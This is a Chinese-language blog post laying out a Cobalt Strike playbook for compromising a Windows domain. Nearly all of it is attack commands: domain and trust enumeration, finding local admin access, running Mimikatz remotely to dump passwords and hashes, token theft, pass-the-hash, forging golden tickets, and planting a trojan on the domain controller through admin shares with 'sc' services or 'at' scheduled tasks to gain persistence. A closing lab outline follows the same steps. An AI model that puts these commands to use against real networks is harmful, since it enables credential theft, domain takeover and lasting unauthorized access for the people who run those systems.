CobaltStrike域内渗透

枚举信任主机

Windows命令

net view /domain                         #查找当前域
net view/domain:[domain]                 #查看当前域主机列表
net group "domain computers" /domain 
nltest /dclist:[domain]                  #查看域控
nslookup [name]                          #根据netblos查看ip地址
ping -n 1 -4 
nltest /domain_trusts                    #查看域的信任关系
nltest /server:[address] /domain_trusts

 

Beacon中使用windows命令

shell nltest/dclist:God

64位在 c:\windows\sysnative

shell net view /domain:God

shell  net group "domain computers" /domain

 

PowerView模块的使用

Invoke-Netview

Invoke-ShareFinder

Invoke-MapDomainTrusts

net模块的使用

# 列出域控

net dclist  

net dclist [domain]

# 列出目标共享列表

net share \\[name]

# 列出当前域控的主机

net view

net view [domain]

 

判断当前用户位置

判断是否为本地管理员

  因为普通域用户 在做一些高级别操作的配置 需要域管理员的账号和密码。这是很不方便的。有的时候就会把普通的域用户 把它增加目标主机的超级管理员组,那么再做配置的时候就不需要域的超级管理员账号和密码。


shell dir \\目标机器名\C$

powerview Invoke-FindLocalAdminAccess

 

判断是否为域管理员

# 域管理员命令
shell net group "enterprise admins" /domain
shell net group "domain admins" /domain
shell net localgroup "administrators" /domain

# net 在beacon使用

net group \\Target
net localgroup \\target  组名
powerview
Get-NetLocalGroup -HostName liukaifeng01

 

wrnim执行powershell

shell dir \\liukaifeng01 \c$

shell dir /S /B  \\liukaifeng01\c$\users

powershell Invoke-Command -ComputerName liukaifeng01 -ScriptBlock{ dir c:\}

powershell Invoke-Command -ComputerName liukaifeng01 -ScriptBlock{ net localgroup administrators}

powersploit运行mimikatz

powershell-import invoke-MImikatz.ps1
powershell Invoke-Mimikatz -ComputerName liukaifeng01

  主要的过程就是发现域内信任主机 查看是否有默认共享 用域的普通用户 验证枚举域内主机的是否为本地管理员 通过winrm执行 mimikatz.ps1

登录验证

制作标记

# 用mimikatz收集到的密码 用凭证制作一个标记
# 终止标记 rev2self 
steal_token ID
make_token TEST1\Aadminstrator 123456
make_token domain\user password
spawnas domain\user password
# 建立远程连接
net use \\host\c$ /user:domain\user password

认证

散列认证

pth .\administrator  ntlm

Kerberos凭证认证

  Kerberos和密码散列认证有些不一样,但是两者同样都是使用凭据来产生标记。

  Kerberos票证是存储存在一个叫kerberos托盘的地方。

  Kerberos原理是你们可以使用一个中间人 它叫 密匙分配发送服务器 并且 密匙分配发送服务器出凭据,你们可能现在使用那个凭据一次性与服务器相互作用他会告诉服务器,我很好 这是我凭据 验证凭据这个中间人如果信任它会给我服务器的凭据 这个凭据就可以让我们保持交互 并且没有任何帐号建立 如果你们获取了一个凭据 那就集成它,然后你们就可以使用这个指定凭据来与服务器进行交互了。一般情况下我使用凭据最好使用黄金凭据。

  黄金凭据是域管理员自己生成的Kerberos凭据 来用mimikatz伪造一个黄金票证。有了黄金票据就有了访问域控权限限 ,通常用于后门。

  一般需要四个不同的信息:用户 、域名、域id  krbtgt 的hash。

# 域的id获取 
shell whoami/user

# 列举黄金票据
shell klist

# 64位置
shell c:\windows\sysnative\klist


kerberos_ccache_use       # 从ccache文件中导入票据应用于此会话

kerberos_ticket_purge     # 清除当前会话的票据

kerberos_ticket_use       # Apply 从ticket文件中导入票据应用于此会话

创建黄金票证

God\liukaifeng01 S-1-5-21-1917438135-3671264842-2025464858-1115

内网横向渗透获取权限

代码执行的方法

方法一
shell copy C:\Users\CatGod\file.exe \\liukaifeng01\C$\windows\temp\file.exe
shell sc \\host create name binpath= c:\windows\tem\file.exe
shell sc \\host start name
shell sc \\host delete name
方法二
shell copy C:\windows\temp\bad.exe \\liukaifeng01\C$\windows\temp\bad.exe
shell net time \\host
shell at \\host HH:MM C:\windows\temp\bad.exe

# 窃取标记
steal_token 2760

# 验证是否可以攻击域控
shell dir \\dc\c$

如何跟域控制服务器交互

  kali和域控不在一个ip段 不能交互,所以要用到转发监听器,重定器转发

shell copy C:\Windows\temp\a3.exe \\dc\C$\Windows\temp\a3.exe
shell net time \\dc
shell at \\dc 0:27:00 C:\Windows\temp\a3.exe

beacon的自动操作

  自动化横行渗透,不需要对硬盘进行读写操作比较安全。

powershell-Import /PowerTools/PowerView/powerview.ps1

powershell Invoke-FindLocalAdminAccess

 

实验

  1、模仿已经拿下一台出网机器

  

  2、获取这台机器信息

  

  3、获取明文密码以及hash

  

  4、利用这台机器域账户的NTLM进行PTH攻击,传递哈希

  

  5、利用Cobalt Strike提供的窃取令牌功能,获得刚刚得到的CMD的进程的令牌(上面的PID)

  

  这样就可以获得与域控CMD交互的权限

  6、将生成的木马通过跳板机获取域控服务器的权限

  

  

  7、为获得一个稳定的权限,可以创建一个远程的计划任务,最后就可以使域控上线。

  

  

  

 

posted @ 2023-01-12 23:38  catg0d  阅读(27)  评论(0)    收藏  举报